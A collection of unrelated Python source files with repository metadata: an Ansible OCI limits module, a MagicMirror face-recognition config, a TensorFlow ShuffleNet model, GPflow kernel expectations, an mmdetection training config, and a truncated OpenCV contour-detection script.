HAS_OCI_PY_SDK = False class LimitDefinitionFactsHelperGen(OCIResourceFactsHelperBase): """Supported operations: list""" def get_required_params_for_list(self): return [ "compartment_id", ] def list_resources(self): optional_list_method_params = [ "service_name", "name", "sort_by", "sort_order", ] optional_kwargs = dict( (param, self.module.params[param]) for param in optional_list_method_params if self.module.params.get(param) is not None ) return oci_common_utils.list_all_resources( self.client.list_limit_definitions, compartment_id=self.module.params.get("compartment_id"), **optional_kwargs ) LimitDefinitionFactsHelperCustom = get_custom_class("LimitDefinitionFactsHelperCustom") class ResourceFactsHelper( LimitDefinitionFactsHelperCustom, LimitDefinitionFactsHelperGen ): pass def main(): module_args = oci_common_utils.get_common_arg_spec() module_args.update( dict( compartment_id=dict(type="str", required=True), service_name=dict(type="str"), name=dict(type="str"), sort_by=dict(type="str", choices=["name", "description"]), sort_order=dict(type="str", choices=["ASC", "DESC"]), ) ) module = AnsibleModule(argument_spec=module_args) if not HAS_OCI_PY_SDK: module.fail_json(msg="oci python sdk required for this module.") resource_facts_helper = ResourceFactsHelper( module=module, resource_type="limit_definition", service_client_class=LimitsClient, namespace="limits", ) result = [] if resource_facts_helper.is_list(): result = resource_facts_helper.list() else: resource_facts_helper.fail() module.exit_json(limit_definitions=result) if __name__ == "__main__": main()

30.57563

139

0.632266

7c5eb134da89a9ce485d00100d4055dca4f99fc3

2,741

py

Python

lib/mm/config.py

ferferga/MMM-NEXT-FacialRecognition

90159182de2a944b041581e16b707c4551385690

[ "MIT" ]

null

lib/mm/config.py

ferferga/MMM-NEXT-FacialRecognition

90159182de2a944b041581e16b707c4551385690

[ "MIT" ]

null

lib/mm/config.py

ferferga/MMM-NEXT-FacialRecognition

90159182de2a944b041581e16b707c4551385690

[ "MIT" ]

null

#!/usr/bin/python # coding: utf8 """MMM-Facial-Recognition-OCV3 - MagicMirror Module The MIT License (MIT) Copyright (c) 2018 Mathieu Goulène (MIT License) Based on work by Paul-Vincent Roll (Copyright 2016) (MIT License) """ import os import json import sys import platform sys.path.append((os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))+ '/common/')) from commonconfig import CommonConfig from face import FaceDetection class MMConfig (CommonConfig): CONFIG_DATA = json.loads(sys.argv[1]); THRESHOLD_ATTR = 'threshold' USE_USB_CAM_ATTR = 'useUSBCam' TRAINING_FILE_ATTR = 'trainingFile' INTERVAL_ATTR = 'interval' LOGOUT_DELAY_ATTR = 'logoutDelay' USERS_ATTR = 'users' DEFAULT_CLASS_ATTR = 'defaultClass' EVERYONE_CLASS_ATTR = 'everyoneClass' WELCOME_MESSAGE_ATTR = 'welcomeMessage' @classmethod def toNode(cls, type, message): print(json.dumps({type: message})) sys.stdout.flush() @classmethod def getTrainingFile(cls): return cls.get(cls.TRAINING_FILE_ATTR) @classmethod def getInterval(cls): return cls.get(cls.INTERVAL_ATTR) @classmethod def getLogoutDelay(cls): return cls.get(cls.LOGOUT_DELAY_ATTR) @classmethod def getUsers(cls): return cls.get(cls.USERS_ATTR) @classmethod def getDefaultClass(cls): return cls.get(cls.DEFAULT_CLASS_ATTR) @classmethod def getEveryoneClass(cls): return cls.get(cls.EVERYONE_CLASS_ATTR) @classmethod def getWelcomeMessage(cls): return cls.get(cls.WELCOME_MESSAGE_ATTR) @classmethod def getUseUSBCam(cls): return cls.get(cls.USE_USB_CAM_ATTR) @classmethod def getThreshold(cls): return cls.get(cls.THRESHOLD_ATTR) @classmethod def get(cls,key): return cls.CONFIG_DATA[key] @classmethod def getCamera(cls): cls.toNode("status", "-" * 20) try: if cls.get("useUSBCam") == False: try: import picam cam = picam.OpenCVCapture() cam.start() cls.toNode("status", "PiCam loaded...") return cam except: cls.toNode("status", "Error while loading camera.") else: raise Exception except Exception: try: import webcam cls.toNode("status", "Webcam loaded...") return webcam.OpenCVCapture(device_id=0) except: cls.toNode("status", "Error while loading camera.") cls.toNode("status", "-" * 20)

27.41

93

0.604524

786394b47c67b59385315aace07545cc9898841f

19,668

py

Python

tensorflow_/tensorflowcv/models/shufflenet.py

huangwenwenlili/imgclsmob

1505fd61acbed429773f5c7ce286c858fc2278b8

[ "MIT" ]

1

2021-01-08T04:55:45.000Z

tensorflow_/tensorflowcv/models/shufflenet.py

huangwenwenlili/imgclsmob

1505fd61acbed429773f5c7ce286c858fc2278b8

[ "MIT" ]

null

tensorflow_/tensorflowcv/models/shufflenet.py

huangwenwenlili/imgclsmob

1505fd61acbed429773f5c7ce286c858fc2278b8

[ "MIT" ]

null

""" ShuffleNet, implemented in TensorFlow. Original paper: 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. """ __all__ = ['ShuffleNet', 'shufflenet_g1_w1', 'shufflenet_g2_w1', 'shufflenet_g3_w1', 'shufflenet_g4_w1', 'shufflenet_g8_w1', 'shufflenet_g1_w3d4', 'shufflenet_g3_w3d4', 'shufflenet_g1_wd2', 'shufflenet_g3_wd2', 'shufflenet_g1_wd4', 'shufflenet_g3_wd4'] import os import tensorflow as tf from .common import conv2d, batchnorm, channel_shuffle, maxpool2d def depthwise_conv3x3(x, channels, strides, name="depthwise_conv3x3"): """ Depthwise convolution 3x3 layer. Parameters: ---------- x : Tensor Input tensor. channels : int Number of input/output channels. strides : int or tuple/list of 2 int Strides of the convolution. name : str, default 'depthwise_conv3x3' Block name. Returns ------- Tensor Resulted tensor. """ return conv2d( x=x, in_channels=channels, out_channels=channels, kernel_size=3, strides=strides, padding=1, groups=channels, use_bias=False, name=name) def group_conv1x1(x, in_channels, out_channels, groups, name="group_conv1x1"): """ Group convolution 1x1 layer. Parameters: ---------- x : Tensor Input tensor. in_channels : int Number of input channels. out_channels : int Number of output channels. groups : int Number of groups. name : str, default 'group_conv1x1' Block name. Returns ------- Tensor Resulted tensor. """ return conv2d( x=x, in_channels=in_channels, out_channels=out_channels, kernel_size=1, groups=groups, use_bias=False, name=name) def shuffle_unit(x, in_channels, out_channels, groups, downsample, ignore_group, training, name="shuffle_unit"): """ ShuffleNet unit. Parameters: ---------- x : Tensor Input tensor. in_channels : int Number of input channels. out_channels : int Number of output channels. groups : int Number of groups in convolution layers. downsample : bool Whether do downsample. ignore_group : bool Whether ignore group value in the first convolution layer. training : bool, or a TensorFlow boolean scalar tensor Whether to return the output in training mode or in inference mode. name : str, default 'shuffle_unit' Unit name. Returns ------- Tensor Resulted tensor. """ mid_channels = out_channels // 4 if downsample: out_channels -= in_channels identity = x x = group_conv1x1( x=x, in_channels=in_channels, out_channels=mid_channels, groups=(1 if ignore_group else groups), name=name + "/compress_conv1") x = batchnorm( x=x, training=training, name=name + "/compress_bn1") x = tf.nn.relu(x, name=name + "/activ") x = channel_shuffle( x=x, groups=groups) x = depthwise_conv3x3( x=x, channels=mid_channels, strides=(2 if downsample else 1), name=name + "/dw_conv2") x = batchnorm( x=x, training=training, name=name + "/dw_bn2") x = group_conv1x1( x=x, in_channels=mid_channels, out_channels=out_channels, groups=groups, name=name + "/expand_conv3") x = batchnorm( x=x, training=training, name=name + "/expand_bn3") if downsample: identity = tf.layers.average_pooling2d( inputs=identity, pool_size=3, strides=2, padding='same', data_format='channels_first', name=name + "/avgpool") x = tf.concat([x, identity], axis=1, name=name + "/concat") else: x = x + identity x = tf.nn.relu(x, name=name + "/final_activ") return x def shuffle_init_block(x, in_channels, out_channels, training, name="shuffle_init_block"): """ ShuffleNet specific initial block. Parameters: ---------- x : Tensor Input tensor. in_channels : int Number of input channels. out_channels : int Number of output channels. training : bool, or a TensorFlow boolean scalar tensor Whether to return the output in training mode or in inference mode. name : str, default 'shuffle_init_block' Block name. Returns ------- Tensor Resulted tensor. """ x = conv2d( x=x, in_channels=in_channels, out_channels=out_channels, kernel_size=3, strides=2, padding=1, use_bias=False, name=name + "/conv") x = batchnorm( x=x, training=training, name=name + "/bn") x = tf.nn.relu(x, name=name + "/activ") x = maxpool2d( x=x, pool_size=3, strides=2, padding=1, name=name + "/pool") return x class ShuffleNet(object): """ ShuffleNet model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- channels : list of list of int Number of output channels for each unit. init_block_channels : int Number of output channels for the initial unit. groups : int Number of groups in convolution layers. in_channels : int, default 3 Number of input channels. in_size : tuple of two ints, default (224, 224) Spatial size of the expected input image. classes : int, default 1000 Number of classification classes. """ def __init__(self, channels, init_block_channels, groups, in_channels=3, in_size=(224, 224), classes=1000, **kwargs): super(ShuffleNet, self).__init__(**kwargs) self.channels = channels self.init_block_channels = init_block_channels self.groups = groups self.in_channels = in_channels self.in_size = in_size self.classes = classes def __call__(self, x, training=False): """ Build a model graph. Parameters: ---------- x : Tensor Input tensor. training : bool, or a TensorFlow boolean scalar tensor, default False Whether to return the output in training mode or in inference mode. Returns ------- Tensor Resulted tensor. """ in_channels = self.in_channels x = shuffle_init_block( x=x, in_channels=in_channels, out_channels=self.init_block_channels, training=training, name="features/init_block") in_channels = self.init_block_channels for i, channels_per_stage in enumerate(self.channels): for j, out_channels in enumerate(channels_per_stage): downsample = (j == 0) ignore_group = (i == 0) and (j == 0) x = shuffle_unit( x=x, in_channels=in_channels, out_channels=out_channels, groups=self.groups, downsample=downsample, ignore_group=ignore_group, training=training, name="features/stage{}/unit{}".format(i + 1, j + 1)) in_channels = out_channels x = tf.layers.average_pooling2d( inputs=x, pool_size=7, strides=1, data_format='channels_first', name="features/final_pool") x = tf.layers.flatten(x) x = tf.layers.dense( inputs=x, units=self.classes, name="output") return x def get_shufflenet(groups, width_scale, model_name=None, pretrained=False, root=os.path.join('~', '.tensorflow', 'models'), **kwargs): """ Create ShuffleNet model with specific parameters. Parameters: ---------- groups : int Number of groups in convolution layers. width_scale : float Scale factor for width of layers. model_name : str or None, default None Model name for loading pretrained model. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ init_block_channels = 24 layers = [4, 8, 4] if groups == 1: channels_per_layers = [144, 288, 576] elif groups == 2: channels_per_layers = [200, 400, 800] elif groups == 3: channels_per_layers = [240, 480, 960] elif groups == 4: channels_per_layers = [272, 544, 1088] elif groups == 8: channels_per_layers = [384, 768, 1536] else: raise ValueError("The {} of groups is not supported".format(groups)) channels = [[ci] * li for (ci, li) in zip(channels_per_layers, layers)] if width_scale != 1.0: channels = [[int(cij * width_scale) for cij in ci] for ci in channels] init_block_channels = int(init_block_channels * width_scale) net = ShuffleNet( channels=channels, init_block_channels=init_block_channels, groups=groups, **kwargs) if pretrained: if (model_name is None) or (not model_name): raise ValueError("Parameter `model_name` should be properly initialized for loading pretrained model.") from .model_store import download_state_dict net.state_dict, net.file_path = download_state_dict( model_name=model_name, local_model_store_dir_path=root) else: net.state_dict = None net.file_path = None return net def shufflenet_g1_w1(**kwargs): """ ShuffleNet 1x (g=1) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=1, width_scale=1.0, model_name="shufflenet_g1_w1", **kwargs) def shufflenet_g2_w1(**kwargs): """ ShuffleNet 1x (g=2) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=2, width_scale=1.0, model_name="shufflenet_g2_w1", **kwargs) def shufflenet_g3_w1(**kwargs): """ ShuffleNet 1x (g=3) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=3, width_scale=1.0, model_name="shufflenet_g3_w1", **kwargs) def shufflenet_g4_w1(**kwargs): """ ShuffleNet 1x (g=4) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=4, width_scale=1.0, model_name="shufflenet_g4_w1", **kwargs) def shufflenet_g8_w1(**kwargs): """ ShuffleNet 1x (g=8) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=8, width_scale=1.0, model_name="shufflenet_g8_w1", **kwargs) def shufflenet_g1_w3d4(**kwargs): """ ShuffleNet 0.75x (g=1) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=1, width_scale=0.75, model_name="shufflenet_g1_w3d4", **kwargs) def shufflenet_g3_w3d4(**kwargs): """ ShuffleNet 0.75x (g=3) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=3, width_scale=0.75, model_name="shufflenet_g3_w3d4", **kwargs) def shufflenet_g1_wd2(**kwargs): """ ShuffleNet 0.5x (g=1) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=1, width_scale=0.5, model_name="shufflenet_g1_wd2", **kwargs) def shufflenet_g3_wd2(**kwargs): """ ShuffleNet 0.5x (g=3) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=3, width_scale=0.5, model_name="shufflenet_g3_wd2", **kwargs) def shufflenet_g1_wd4(**kwargs): """ ShuffleNet 0.25x (g=1) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=1, width_scale=0.25, model_name="shufflenet_g1_wd4", **kwargs) def shufflenet_g3_wd4(**kwargs): """ ShuffleNet 0.25x (g=3) model from 'ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,' https://arxiv.org/abs/1707.01083. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. Returns ------- functor Functor for model graph creation with extra fields. """ return get_shufflenet(groups=3, width_scale=0.25, model_name="shufflenet_g3_wd4", **kwargs) def _test(): import numpy as np from .model_store import init_variables_from_state_dict pretrained = False models = [ shufflenet_g1_w1, shufflenet_g2_w1, shufflenet_g3_w1, shufflenet_g4_w1, shufflenet_g8_w1, shufflenet_g1_w3d4, shufflenet_g3_w3d4, shufflenet_g1_wd2, shufflenet_g3_wd2, shufflenet_g1_wd4, shufflenet_g3_wd4, ] for model in models: net = model(pretrained=pretrained) x = tf.placeholder( dtype=tf.float32, shape=(None, 3, 224, 224), name='xx') y_net = net(x) weight_count = np.sum([np.prod(v.get_shape().as_list()) for v in tf.trainable_variables()]) print("m={}, {}".format(model.__name__, weight_count)) assert (model != shufflenet_g1_w1 or weight_count == 1531936) assert (model != shufflenet_g2_w1 or weight_count == 1733848) assert (model != shufflenet_g3_w1 or weight_count == 1865728) assert (model != shufflenet_g4_w1 or weight_count == 1968344) assert (model != shufflenet_g8_w1 or weight_count == 2434768) assert (model != shufflenet_g1_w3d4 or weight_count == 975214) assert (model != shufflenet_g3_w3d4 or weight_count == 1238266) assert (model != shufflenet_g1_wd2 or weight_count == 534484) assert (model != shufflenet_g3_wd2 or weight_count == 718324) assert (model != shufflenet_g1_wd4 or weight_count == 209746) assert (model != shufflenet_g3_wd4 or weight_count == 305902) with tf.Session() as sess: if pretrained: init_variables_from_state_dict(sess=sess, state_dict=net.state_dict) else: sess.run(tf.global_variables_initializer()) x_value = np.zeros((1, 3, 224, 224), np.float32) y = sess.run(y_net, feed_dict={x: x_value}) assert (y.shape == (1, 1000)) tf.reset_default_graph() if __name__ == "__main__": _test()

29.355224

120

0.604179

4f98dcd1e83d700520739875761a33678eeef589

3,682

py

Python

gpflow/expectations/sums.py

antonykamp/GPflow

1831a5d19a50ff525af0ce931c8b82f6306d8196

[ "Apache-2.0" ]

1,724

2016-01-21T18:10:26.000Z

2022-03-22T20:03:57.000Z

gpflow/expectations/sums.py

antonykamp/GPflow

1831a5d19a50ff525af0ce931c8b82f6306d8196

[ "Apache-2.0" ]

1,713

2016-02-26T13:09:35.000Z

2022-03-31T14:39:30.000Z

gpflow/expectations/sums.py

antonykamp/GPflow

1831a5d19a50ff525af0ce931c8b82f6306d8196

[ "Apache-2.0" ]

519

2016-02-17T19:04:45.000Z

2022-03-26T00:13:13.000Z

# Copyright 2017-2020 The GPflow Contributors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import itertools from functools import reduce import tensorflow as tf from .. import kernels from .. import mean_functions as mfn from ..inducing_variables import InducingPoints from ..probability_distributions import DiagonalGaussian, Gaussian, MarkovGaussian from . import dispatch from .expectations import expectation NoneType = type(None) @dispatch.expectation.register(Gaussian, kernels.Sum, NoneType, NoneType, NoneType) def _E(p, kernel, _, __, ___, nghp=None): r""" Compute the expectation: <\Sum_i diag(Ki_{X, X})>_p(X) - \Sum_i Ki_{.,.} :: Sum kernel :return: N """ exps = [expectation(p, k, nghp=nghp) for k in kernel.kernels] return reduce(tf.add, exps) @dispatch.expectation.register(Gaussian, kernels.Sum, InducingPoints, NoneType, NoneType) def _E(p, kernel, inducing_variable, _, __, nghp=None): r""" Compute the expectation: <\Sum_i Ki_{X, Z}>_p(X) - \Sum_i Ki_{.,.} :: Sum kernel :return: NxM """ exps = [expectation(p, (k, inducing_variable), nghp=nghp) for k in kernel.kernels] return reduce(tf.add, exps) @dispatch.expectation.register( Gaussian, (mfn.Linear, mfn.Identity, mfn.Constant), NoneType, kernels.Sum, InducingPoints ) def _E(p, mean, _, kernel, inducing_variable, nghp=None): r""" Compute the expectation: expectation[n] = <m(x_n)^T (\Sum_i Ki_{x_n, Z})>_p(x_n) - \Sum_i Ki_{.,.} :: Sum kernel :return: NxQxM """ exps = [expectation(p, mean, (k, inducing_variable), nghp=nghp) for k in kernel.kernels] return reduce(tf.add, exps) @dispatch.expectation.register(MarkovGaussian, mfn.Identity, NoneType, kernels.Sum, InducingPoints) def _E(p, mean, _, kernel, inducing_variable, nghp=None): r""" Compute the expectation: expectation[n] = <x_{n+1} (\Sum_i Ki_{x_n, Z})>_p(x_{n:n+1}) - \Sum_i Ki_{.,.} :: Sum kernel :return: NxDxM """ exps = [expectation(p, mean, (k, inducing_variable), nghp=nghp) for k in kernel.kernels] return reduce(tf.add, exps) @dispatch.expectation.register( (Gaussian, DiagonalGaussian), kernels.Sum, InducingPoints, kernels.Sum, InducingPoints ) def _E(p, kern1, feat1, kern2, feat2, nghp=None): r""" Compute the expectation: expectation[n] = <(\Sum_i K1_i_{Z1, x_n}) (\Sum_j K2_j_{x_n, Z2})>_p(x_n) - \Sum_i K1_i_{.,.}, \Sum_j K2_j_{.,.} :: Sum kernels :return: NxM1xM2 """ crossexps = [] if kern1 == kern2 and feat1 == feat2: # avoid duplicate computation by using transposes for i, k1 in enumerate(kern1.kernels): crossexps.append(expectation(p, (k1, feat1), (k1, feat1), nghp=nghp)) for k2 in kern1.kernels[:i]: eKK = expectation(p, (k1, feat1), (k2, feat2), nghp=nghp) eKK += tf.linalg.adjoint(eKK) crossexps.append(eKK) else: for k1, k2 in itertools.product(kern1.kernels, kern2.kernels): crossexps.append(expectation(p, (k1, feat1), (k2, feat2), nghp=nghp)) return reduce(tf.add, crossexps)

33.472727

99

0.670831

a6f7fd0476e869140aee2eda369ad3116a08d82f

5,712

py

Python

configs/fp16/faster_rcnn_r34_fpn_fp16_1x.py

moshes7/mmdetection

6e3c30d89e80ada4c84cc06bb6b216584e31cb3e

[ "Apache-2.0" ]

null

configs/fp16/faster_rcnn_r34_fpn_fp16_1x.py

moshes7/mmdetection

6e3c30d89e80ada4c84cc06bb6b216584e31cb3e

[ "Apache-2.0" ]

null

configs/fp16/faster_rcnn_r34_fpn_fp16_1x.py

moshes7/mmdetection

6e3c30d89e80ada4c84cc06bb6b216584e31cb3e

[ "Apache-2.0" ]

null

# fp16 settings fp16 = dict(loss_scale=512.) # model settings model = dict( type='FasterRCNN', pretrained='torchvision://resnet34', backbone=dict( type='ResNet', depth=34, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, style='pytorch'), neck=dict( type='FPN', # in_channels=[256, 512, 1024, 2048], # out_channels=256, in_channels=[64, 128, 256, 512], out_channels=256, # 64 ??? num_outs=5), rpn_head=dict( type='RPNHead', in_channels=256, feat_channels=256, anchor_scales=[8], anchor_ratios=[0.5, 1.0, 2.0], anchor_strides=[4, 8, 16, 32, 64], target_means=[.0, .0, .0, .0], target_stds=[1.0, 1.0, 1.0, 1.0], loss_cls=dict( type='CrossEntropyLoss', use_sigmoid=True, loss_weight=1.0), loss_bbox=dict(type='SmoothL1Loss', beta=1.0 / 9.0, loss_weight=1.0)), bbox_roi_extractor=dict( type='SingleRoIExtractor', roi_layer=dict(type='RoIAlign', out_size=7, sample_num=2), out_channels=256, featmap_strides=[4, 8, 16, 32]), bbox_head=dict( type='SharedFCBBoxHead', num_fcs=2, in_channels=256, fc_out_channels=1024, roi_feat_size=7, num_classes=81, target_means=[0., 0., 0., 0.], target_stds=[0.1, 0.1, 0.2, 0.2], reg_class_agnostic=False, loss_cls=dict( type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0), loss_bbox=dict(type='SmoothL1Loss', beta=1.0, loss_weight=1.0))) # model training and testing settings train_cfg = dict( rpn=dict( assigner=dict( type='MaxIoUAssigner', pos_iou_thr=0.7, neg_iou_thr=0.3, min_pos_iou=0.3, ignore_iof_thr=-1), sampler=dict( type='RandomSampler', num=256, pos_fraction=0.5, neg_pos_ub=-1, add_gt_as_proposals=False), allowed_border=0, pos_weight=-1, debug=False), rpn_proposal=dict( nms_across_levels=False, nms_pre=2000, nms_post=2000, max_num=2000, nms_thr=0.7, min_bbox_size=0), rcnn=dict( assigner=dict( type='MaxIoUAssigner', pos_iou_thr=0.5, neg_iou_thr=0.5, min_pos_iou=0.5, ignore_iof_thr=-1), sampler=dict( type='RandomSampler', num=512, pos_fraction=0.25, neg_pos_ub=-1, add_gt_as_proposals=True), pos_weight=-1, debug=False)) test_cfg = dict( rpn=dict( nms_across_levels=False, nms_pre=1000, nms_post=1000, max_num=1000, nms_thr=0.7, min_bbox_size=0), rcnn=dict( score_thr=0.05, nms=dict(type='nms', iou_thr=0.5), max_per_img=100) # soft-nms is also supported for rcnn testing # e.g., nms=dict(type='soft_nms', iou_thr=0.5, min_score=0.05) ) # dataset settings dataset_type = 'CocoDataset' data_root = 'data/coco/' img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromFile'), dict(type='LoadAnnotations', with_bbox=True), # dict(type='Resize', img_scale=(1333, 800), keep_ratio=True), dict(type='Resize', img_scale=(640, 480), keep_ratio=True), dict(type='RandomFlip', flip_ratio=0.5), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='DefaultFormatBundle'), dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']), ] test_pipeline = [ dict(type='LoadImageFromFile'), dict( type='MultiScaleFlipAug', # img_scale=(1333, 800), img_scale=(640, 480), flip=False, transforms=[ dict(type='Resize', keep_ratio=True), dict(type='RandomFlip'), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='ImageToTensor', keys=['img']), dict(type='Collect', keys=['img']), ]) ] data = dict( imgs_per_gpu=20, # workers_per_gpu=1, workers_per_gpu=6, # imgs_per_gpu=2, # workers_per_gpu=2, train=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_train2017.json', img_prefix=data_root + 'train2017/', pipeline=train_pipeline), val=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline), test=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline)) # optimizer optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) optimizer_config = dict(grad_clip=dict(max_norm=35, norm_type=2)) # learning policy lr_config = dict( policy='step', warmup='linear', warmup_iters=500, warmup_ratio=1.0 / 3, # step=[8, 11]) # step=[28, 31]) step=[5, 7]) checkpoint_config = dict(interval=1) # yapf:disable log_config = dict( interval=50, hooks=[ dict(type='TextLoggerHook'), # dict(type='TensorboardLoggerHook') ]) # yapf:enable # runtime settings # total_epochs = 12 # total_epochs = 24 + 8 total_epochs =8 dist_params = dict(backend='nccl') log_level = 'INFO' work_dir = './work_dirs/faster_rcnn_r34_fpn_fp16_1x' load_from = None resume_from = None workflow = [('train', 1)]

30.222222

78

0.590861

8378b3ccaf0072021284bc1682f6e595ba7ebd05

5,964

py

Python

prototypes/src/contour.py

alexandru-dinu/ir-project

70f3bed0b89770729a977fa4c8111ba806932bde

[ "MIT" ]

null

prototypes/src/contour.py

alexandru-dinu/ir-project

70f3bed0b89770729a977fa4c8111ba806932bde

[ "MIT" ]

1

2019-04-15T12:10:51.000Z

2019-05-30T14:35:17.000Z

prototypes/src/contour.py

alexandru-dinu/ir-project

70f3bed0b89770729a977fa4c8111ba806932bde

[ "MIT" ]

null

import argparse import warnings from scipy.interpolate import splev, splprep from utils import * warnings.filterwarnings("ignore") parser = argparse.ArgumentParser() parser.add_argument("--file", type=str) parser.add_argument("--interp", type=int, default=20) parser.add_argument("--save", action="store_true") args = parser.parse_args() def save_or_show(img, suffix=""): if args.save: name = args.file.split("/")[-1].split(".")[0] save_img(img, name=f"../out/out-{name}{suffix}.png", from_bgr=True) else: show(img, from_bgr=True) def smooth_contour(cnt, num=25): x, y = cnt.T x = x.tolist()[0] y = y.tolist()[0] # find the B-spline representation of the contour tck, u = splprep([x, y], u=None, s=1.0, per=1) u_new = np.linspace(u.min(), u.max(), num) # evaluate spline given points and knots x_new, y_new = splev(u_new, tck, der=0) s_cnt = np.array(list(zip(x_new, y_new))).astype(np.int) return s_cnt def separate_contours(contours): assert len(contours) >= 2 contours = sorted(contours, key=lambda x: len(x), reverse=True) contours = contours[:2] w0s = np.median([e[0][0] for e in contours[0]]) w1s = np.median([e[0][0] for e in contours[1]]) idx_left = 0 if w0s < w1s else 1 idx_right = 1 - idx_left cnt_l = np.transpose(contours[idx_left], (0, 2, 1)).squeeze() # size = N x 2 cnt_r = np.transpose(contours[idx_right], (0, 2, 1)).squeeze() # size = N x 2 # cnt_l = smooth_contour(contours[idx_left], num=args.interp) # cnt_r = smooth_contour(contours[idx_right], num=args.interp) return cnt_l, cnt_r def get_middle_line(img): assert img[img == 1].size + img[img == 0].size == img.size # show(img) h, w = img.shape out_l = np.zeros((h, w), dtype=np.uint8) out_r = np.zeros((h, w), dtype=np.uint8) out = np.zeros((h, w), dtype=np.uint8) _, contours, _ = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE) # print(f"Found {len(contours)} contours") cnt_l, cnt_r = separate_contours(contours) cv2.drawContours(out_l, [cnt_l], 0, 1, thickness=1) cv2.drawContours(out_r, [cnt_r], 0, 1, thickness=1) for i in range(h): ll = np.argwhere(out_l[i, :] == 1) rr = np.argwhere(out_r[i, :] == 1) # FIXME # if ll.size == 0 and rr.size > 0: # out[i, rr[0] // 2] = 1 # if ll.size > 0 and rr.size == 0: # out[i, ll[-1] * 2] = 1 # -- if ll.size > 0 and rr.size > 0: pl, pr = ll[-1], rr[0] m = abs(pr - pl) // 2 out[i, pl + m] = 1 out = morph_close(out, num_iter=1) # show(out + img) return out def on_video(): capture = cv2.VideoCapture(args.file) assert capture.isOpened() fps = capture.get(cv2.CAP_PROP_FPS) __plot = None count = 0 while capture.isOpened(): ret, img = capture.read() count += 1 